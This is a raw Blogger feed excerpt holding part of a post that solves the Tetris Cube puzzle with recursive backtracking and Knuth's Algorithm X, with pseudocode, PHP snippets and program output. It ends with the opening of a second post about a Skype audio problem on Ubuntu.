src="http://1.bp.blogspot.com/_X4W-h82Vgjw/Sj_lOtG9w5I/AAAAAAAAPLM/Y73zU9n0DTE/s400/tree5.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;And so on (the yellow numbers are the ones we've "done", or excluded in our optimization). This continues until we find a solution, e.g.:&lt;br /&gt;Level 1: 2, level 2: 7 and level 3: 6 gives 15;&lt;br /&gt;level 4: 9, level 5: 5 and level 6: 1 gives 15;&lt;br /&gt;level 7: 4, level 8: 3 and level 9: 8 gives 15.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Back on track (no pun intended): recursive backtracking in this case&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;For the Tetris Cube, we have tree decision variables:&lt;br /&gt;(1) the block used (there were 12 different blocks);&lt;br /&gt;(2) the position were we put the block;&lt;br /&gt;(3) the rotation of the block.&lt;br /&gt;&lt;br /&gt;If we'd used position as the level, we have 64 different levels (4x4x4). If we were able to place &lt;i&gt;any&lt;/i&gt; remaining block at this position, we could immediately use the next unoccupied space as the position in the next recursive call (since it makes no sense trying all the occupied positions first, since they won't validate anyway).&lt;br /&gt;&lt;br /&gt;If we'd used block as the level, we have 12 different levels. If we are able to place this block at any available position in a specific rotation, we can move on the the next block. It seems a bit more sensible to use this method. This way, our tree will be smaller (less tall), and the decisions inside the function purely concern position and orientation in 3d-space. Our function now looks like:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;recursive_funtion(block) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;for all positions 1 to 64 {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for all orientations 1 to 24 {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;put our block at this position in this orientation&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if solution valid {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if solution complete {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done, show solution&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;recursive_function(next_block)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(remove this block)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;There are still a few questions left we have to answer, mainly: the different rotations, and how we can validate a partial solution. But first: let's take a look at the different blocks and how we can encode them.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The different blocks&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;There are 12 blocks, colored in either red, blue or yellow (but the colors themselves mean nothing, they just add decoration). Since the 3d-modelling program &lt;a href="http://www.blender.org/"&gt;Blender&lt;/a&gt; runs too slow on my laptop (Compositing enabled and such) I quickly whipped out a few lines of &lt;a href="http://www.povray.org/"&gt;Povray&lt;/a&gt; code.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_w45fPrmI/AAAAAAAAPLU/TbVLNnELHyg/s1600-h/allblocks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_w45fPrmI/AAAAAAAAPLU/TbVLNnELHyg/s320/allblocks.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 2px dashed rgb(204, 204, 204); float: left; margin: 4px; padding: 4px;"&gt;Did you know I can do animations too?&lt;br /&gt;&lt;img border="0" src="http://static.macuyiko.com/files/tetriscube/animateblock.gif" /&gt;&lt;br /&gt;&lt;/div&gt;Now how do we encode them? Each block can be described by a set of tiny 1x1x1 sub-blocks placed along the x, y and z axes. I call the tiny block placed at (0,0,0) the pivot. Take the red L for example, this block can be described as a combination of five little blocks:&lt;br /&gt;{(0,0,0); (1,0,0); (2,0,0); (0,1,0); (0,2,0)}&lt;br /&gt;(0,0,0) is the corner-block and our pivot.&lt;br /&gt;&lt;br /&gt;Another way of describing this block with another pivot point:&lt;br /&gt;{(0,0,0); (1,0,0); (2,0,0); (2,1,0); (2,1,0)}&lt;br /&gt;&lt;br /&gt;As you can see, it doesn't matter which sub-block we use as our pivot block or how we places our x,y and z axes. Since our function will try every position and every possible rotation, we try every combination anyway.&lt;br /&gt;&lt;br /&gt;Now why are there 24 rotations? Every block can be placed facing the direction along: x positive, x negative, y positive, y negative, z positive and z negative, which gives 6 possible directions.&lt;br /&gt;For every direction, we can rotate the block in 4 different ways (0°, 90°, 180° and 270°). 4x6=24. Easy.&lt;br /&gt;&lt;br /&gt;Taking the description {(0,0,0); (1,0,0); (2,0,0); (0,1,0); (0,2,0)} and saying: put this block in position 34 facing y negative and rotated 90° now just becomes a matter of transforming and rotating objects in 3d. I won't describe the details here, it involves some matrix manipulations and such, but are really simple when rotating in the four degrees mentioned above. If you want to know more, take a look &lt;a href="http://www.siggraph.org/education/materials/HyperGraph/modeling/mod_tran/3drota.htm"&gt;here&lt;/a&gt; or &lt;a href="http://www.google.com/search?q=3d+transformation+and+rotation"&gt;Google it&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In PHP, the language I was using (I know, I know - remember, I thought this would be a quick and easy job), a block description looks like:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;//  1 1 1&lt;br /&gt;//  1&lt;br /&gt;// (1)&lt;br /&gt;$blocks[] = array(array(0,0,0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;,array(0,1,0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;,array(0,2,0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;,array(1,2,0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;,array(2,2,0) );&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Verifying partial solutions&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Just as with our magic square, we can do a few checks after placing a few blocks, a few of them are necessary:&lt;br /&gt;(1) a block may not overlap another block;&lt;br /&gt;(2) a block may not go outside the bounds of the 4x4x4 block.&lt;br /&gt;&lt;br /&gt;You could also get creative:&lt;br /&gt;(3) a block may not be placed in such a way that we have an isolated empty space. This is, a space surrounded by occupied spaces (or by the bounds of our 4x4x4 cube).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Trying the program&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;We're done, I was exited, I would beat this thing!&lt;br /&gt;&lt;br /&gt;The program now looked like this (you can't read the code - believe me, it's a good thing):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/SkC620yOxMI/AAAAAAAAPMk/mcLhVbwdAng/s1600-h/all.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/SkC620yOxMI/AAAAAAAAPMk/mcLhVbwdAng/s400/all.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The program was running dog slow. It was doing lots of block-position-rotation combinations very fast, but it was still too slow. I thought I had made an error, and changed some parameters. I used a 2x2x2 bounding box with only three little pieces to fill it with. The program immediately displayed all the solutions (not that many of course). It was working fine, but couldn't handle the large solution space of a 4x4x4 box. That's the problem with recursive backtracking, a "magic square" (see above), with 9 spaces is easy enough, but one with 10 spaces is a lot harder, and one with 11 spaces is even harder then the previous increment (non-linear). It was back to the drawing board again.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The following day...&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;The next day I decided to Google around a bit. It turns out that someone else has already solved this puzzle and posted his method online &lt;a href="http://scottkurowski.com/tetriscube/"&gt;here&lt;/a&gt;. The author seems to like solving all these puzzles. Most of his findings and description is exactly the same as what I found, so why did his method work. You can download his program (http://scottkurowski.com/tetriscube/TetrisCubeSolved.zip) and take a look at the source code yourself.&lt;br /&gt;&lt;br /&gt;So why was his program working?&lt;br /&gt;(1) C! It's a pity, but C is much, much faster than PHP, a factor we can't omit here.&lt;br /&gt;(2) He doesn't use a backtracking recursive function, but the general method is the same (a bunch of goto's and iterating over all the possible permutations the place the blocks one by one). It &lt;i&gt;does&lt;/i&gt; backtrack however.&lt;br /&gt;&lt;br /&gt;It's a pretty and well-written program. I felt defeated. Both by the puzzle and by an other programmer. Since I didn't want to rewrite everything in C to see if a recursive method would prove successful there (I don't like C), I wanted to see if I could solve it using a "slow" language anyway: less brute-forcing, more being smart.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Searching for a better method&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;I recalled reading something about Dancing Links and how someone &lt;a href="http://www.ocf.berkeley.edu/~jchu/publicportal/sudoku/sudoku.paper.html"&gt;solved a Sudoku&lt;/a&gt; puzzle with them. "Sudoku and Tetris Cubes look alike", I thought. So I continued researching this.&lt;br /&gt;&lt;br /&gt;First of all, we have "&lt;a href="http://en.wikipedia.org/wiki/Algorithm_X"&gt;Algorithm X&lt;/a&gt;", an algorithm found by Donald Knuth for solving exact cover problems. Exact cover problems are problems in which every constraint is an "exactly one"-constraint. Knuth uses the Pentomino puzzle as an example (every &lt;i&gt;piece&lt;/i&gt; should be used &lt;i&gt;exactly once&lt;/i&gt; and every &lt;i&gt;space&lt;/i&gt; must be overlapped by a piece &lt;i&gt;exactly once&lt;/i&gt;).&lt;br /&gt;&lt;br /&gt;Also - more good news - Algorithm X is recursive and backtracking, it basically optimizes the way the recursion is done (see the linked Wikipedia page above to see how the algorithm works, make sure you understand it before continuing, it's quite easy and Wikipedia does a really good job at explaining it.)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Dancing_Links"&gt;Dancing Links&lt;/a&gt; is a method to implement Algorithm X based on the fact that it is very easy to remove and re-add elements in a double linked list. Instead of using this, I first decided to try a simple Algorithm X implementation.&lt;br /&gt;&lt;br /&gt;Basically, Algorithm X performs a few operations on a matrix in which each element is either zero (0) or one (1). A solution is then a set of rows so that in each column there is only one one (1).&lt;br /&gt;&lt;br /&gt;Take the Pentomino puzzle for example (if you aren't familiar with the puzzle, take a look &lt;a href="http://yucs.org/~gnivasch/pentomino/"&gt;here&lt;/a&gt;). It is basically the same problem as our Tetris cube, except for the fact that it is in 2d instead of 3d. We construct a matrix as such (from Wikipedia):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are two constraints:&lt;br /&gt;(1) for each of the 12 pieces, there is the constraint that it must be placed exactly once. Name these constraints after the corresponding pentominoes: F I L P N T U V W X Y Z.&lt;br /&gt;(2) for each of the 60 spaces, there is the constraint that it must be covered by a pentomino exactly once.&lt;br /&gt;&lt;br /&gt;Thus there are 12+60=72 constraints in total.&lt;br /&gt;&lt;br /&gt;The problem involves many choices, one for each way to place a pentomino on the board. It is convenient to consider each choice as a sets of 6 constraints: 1 constraint for the pentomino being placed and 5 constraints for the five squares where it is placed. For example:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;{F, 12, 13, 21, 22, 32}&lt;br /&gt;{F, 13, 14, 22, 23, 33}&lt;br /&gt;{I, 11, 12, 13, 14, 15}&lt;br /&gt;{L, 12, 22, 32, 42, 43}&lt;br /&gt;…&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;One of many solutions of this exact cover problem is the following set of 12 choices:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;{I, 11, 12, 13, 14, 15}&lt;br /&gt;{N, 16, 26, 27, 37, 47}&lt;br /&gt;{L, 17, 18, 28, 38, 48}&lt;br /&gt;{U, 21, 22, 31, 41, 42}&lt;br /&gt;{X, 23, 32, 33, 34, 43}&lt;br /&gt;{W, 24, 25, 35, 36, 46}&lt;br /&gt;{P, 51, 52, 53, 62, 63}&lt;br /&gt;{F, 56, 64, 65, 66, 75}&lt;br /&gt;{Z, 57, 58, 67, 76, 77}&lt;br /&gt;{T, 61, 71, 72, 73, 81}&lt;br /&gt;{V, 68, 78, 86, 87, 88}&lt;br /&gt;{Y, 74, 82, 83, 84, 85}&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;So, in our case, we need a row for every choice we can make, that is: all the combinations of every piece and every possible way of placing it. Our finds every valid possible combination for every block and constructs rows in the matrix:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;for every block {&lt;br /&gt;&amp;nbsp;&amp;nbsp;for every position {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for every rotation {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try this, if this placement is possible (thus if it does not exceed the boundaries of the 4x4x4 box, add it as a row: {BLOCK; pos1, pos2, pos3,...}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Now our columns: we have 12 blocks, and 64 positions these blocks can occupy. 12+64=76. For every row, we:&lt;br /&gt;(1) set a one (1) in one of the first twelve columns according to the block this row uses;&lt;br /&gt;(2) set a one (1) in every "position" this row occupies.&lt;br /&gt;&lt;br /&gt;After quickly throwing some ugly code together, I ran the program. First, it constructs the choices and the matrix:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Constructing choices:&lt;br /&gt;0: ................................................................&lt;br /&gt;1: ................................................................&lt;br /&gt;2: ................................................................&lt;br /&gt;3: ................................................................&lt;br /&gt;4: ................................................................&lt;br /&gt;5: ................................................................&lt;br /&gt;6: ................................................................&lt;br /&gt;7: ................................................................&lt;br /&gt;8: ................................................................&lt;br /&gt;9: ................................................................&lt;br /&gt;10: ................................................................&lt;br /&gt;11: ................................................................&lt;br /&gt;Number of choices/rows: 4488 out of 18432 theoretical possibles choices&lt;br /&gt;Constructing matrix: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................&lt;br /&gt;Done, number of rows: 4488 and cols: 76&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The matrix itself is a bit large to display here. But here are the first few rows:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;OUTPUTTING MATRIX:&lt;br /&gt;0  {0; 0; 1; 2; 6; 7; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;1  {0; 0; 1; 2; 18; 19; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;2  {0; 0; 4; 8; 9; 13; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;3  {0; 0; 16; 32; 33; 49; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;4  {0; 0; 4; 8; 24; 28; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;5  {0; 0; 16; 32; 36; 52; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;6  {0; 1; 5; 9; 10; 14; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;7  {0; 1; 17; 33; 34; 50; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;8  {0; 1; 5; 9; 8; 12; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 1 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;9  {0; 1; 17; 33; 32; 48; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;10 {0; 1; 5; 9; 25; 29; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;11 {0; 1; 17; 33; 37; 53; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;12 {0; 2; 6; 10; 11; 15; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;13 {0; 2; 18; 34; 35; 51; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;14 {0; 2; 6; 10; 9; 13; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 1 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;15 {0; 2; 18; 34; 33; 49; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;16 {0; 2; 6; 10; 26; 30; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;17 {0; 2; 18; 34; 38; 54; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0&lt;br /&gt;18 {0; 3; 2; 1; 5; 4; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0&lt;br /&gt;...&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;As you can see, in these rows, the first block (number zero) is used, so the first column is one (1), the next eleven columns are zero (0). The next 64 columns are one if the row uses that position.&lt;br /&gt;&lt;br /&gt;The program then gives some verbose information:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;==&amp;gt; (0) Number of rows: 4488 and cols: 76&lt;br /&gt;Picking 12, has 117&lt;br /&gt;117 rows to do for column&lt;br /&gt;==&amp;gt; (1) Number of rows: 3414 and cols: 70&lt;br /&gt;Picking 15, has 22&lt;br /&gt;22 rows to do for column&lt;br /&gt;==&amp;gt; (2) Number of rows: 2025 and cols: 64&lt;br /&gt;Picking 17, has 45&lt;br /&gt;45 rows to do for column&lt;br /&gt;==&amp;gt; (3) Number of rows: 1156 and cols: 57&lt;br /&gt;Picking 26, has 10&lt;br /&gt;10 rows to do for column&lt;br /&gt;...&lt;br /&gt;==&amp;gt; (10) Number of rows: 9 and cols: 12&lt;br /&gt;Picking 4, has 3&lt;br /&gt;3 rows to do for column&lt;br /&gt;==&amp;gt; (11) Number of rows: 0 and cols: 0&lt;br /&gt;&amp;lt;== Column has zero ones. ==&amp;gt; (11) Number of rows: 0 and cols: 0&lt;br /&gt;&amp;lt;== Column has zero ones. ==&amp;gt; (11) Number of rows: 0 and cols: 0&lt;br /&gt;&amp;lt;== Column has zero ones. ==&amp;gt; (10) Number of rows: 10 and cols: 12&lt;br /&gt;Picking 4, has 2&lt;br /&gt;2 rows to do for column&lt;br /&gt;==&amp;gt; (11) Number of rows: 0 and cols: 0&lt;br /&gt;&amp;lt;== Column has zero ones. ==&amp;gt; (11) Number of rows: 2 and cols: 6&lt;br /&gt;Picking 10, has 2&lt;br /&gt;2 rows to do for column&lt;br /&gt;==&amp;gt; (12) Number of rows: 0 and cols: 0&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;And finally, a first solution is found, alongside a simple presentation to try it on the cube:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;All done, here is a list of choices:&lt;br /&gt;CHOICE NR 0: 0 0 1 2 6 7&lt;br /&gt;CHOICE NR 393: 1 19 3 23 22 21&lt;br /&gt;CHOICE NR 741: 2 5 9 13 29 30 45&lt;br /&gt;CHOICE NR 1113: 3 15 31 14 11 10&lt;br /&gt;CHOICE NR 2693: 7 4 8 12 28 44&lt;br /&gt;CHOICE NR 2371: 5 63 62 46 61 60&lt;br /&gt;CHOICE NR 3328: 8 58 47 42 43 39 27&lt;br /&gt;CHOICE NR 3621: 9 38 51 54 55 59&lt;br /&gt;CHOICE NR 4427: 11 49 53 50 34 35 18&lt;br /&gt;CHOICE NR 2635: 6 56 57 40 24 20 16&lt;br /&gt;CHOICE NR 2004: 4 48 52 32 33 17&lt;br /&gt;CHOICE NR 3938: 10 26 25 41 37 36&lt;br /&gt;&lt;br /&gt;Solution found:&lt;br /&gt;Plane 0:&lt;br /&gt;3 3 2 7&lt;br /&gt;3 3 2 7&lt;br /&gt;0 0 2 7&lt;br /&gt;1 0 0 0&lt;br /&gt;Plane 1:&lt;br /&gt;3 2  2  7&lt;br /&gt;8 10 10 6&lt;br /&gt;1 1  1  6&lt;br /&gt;1 11 4  6&lt;br /&gt;Plane 2:&lt;br /&gt;8  5  2  7&lt;br /&gt;8  8  10 6&lt;br /&gt;8  9  10 10&lt;br /&gt;11 11 4  4&lt;br /&gt;Plane 3:&lt;br /&gt;5 5  5  5&lt;br /&gt;9 8  6  6&lt;br /&gt;9 9  11 4&lt;br /&gt;9 11 11 4&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Which looks like this:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://static.macuyiko.com/files/tetriscube/animatecube.gif" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ha, gotcha! If we would use Dancing Links as well, and a faster/better suited language, this would go even faster.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-6931126121791406691?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/6931126121791406691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/06/solving-tetris-cube-recursive.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6931126121791406691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6931126121791406691'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/06/solving-tetris-cube-recursive.html' title='Solving A Tetris Cube, Recursive Backtracking, Algorithm X, Oh My!'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_X4W-h82Vgjw/SsWhepcG4cI/AAAAAAAAPPw/Q4bKUWnAUL4/s72-c/41j38E8H-5L._SL500_AA280_.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-7773042447962993120</id><published>2009-04-28T03:01:00.002+02:00</published><updated>2009-06-23T01:42:09.164+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='problem'/><category scheme='http://www.blogger.com/atom/ns#' term='skype'/><category scheme='http://www.blogger.com/atom/ns#' term='sound'/><category scheme='http://www.blogger.com/atom/ns#' term='pulseaudio'/><category scheme='http://www.blogger.com/atom/ns#' term='jaunty'/><category scheme='http://www.blogger.com/atom/ns#' term='howto'/><category scheme='http://www.blogger.com/atom/ns#' term='capture'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Ubuntu Jauntu: Skype Worked Before, Now: "Problem with audio capture"</title><content type='html'>There are two things I currently not like about Ubuntu or Linux in general: the whole sound mess, and the whole graphics mess (but both are getting better). This problem is about the first mess.&lt;br /&gt;&lt;br /&gt;Skype was working perfectly in Interprid, now in Jaunty it was telling me that there was a "Problem with audio capture". I tested Ubuntu's sound-recorder as well, which was not working either.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;I'm using the default, normal Skype from the Medibuntu repo's! &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Let's take a look at all the different factors here. 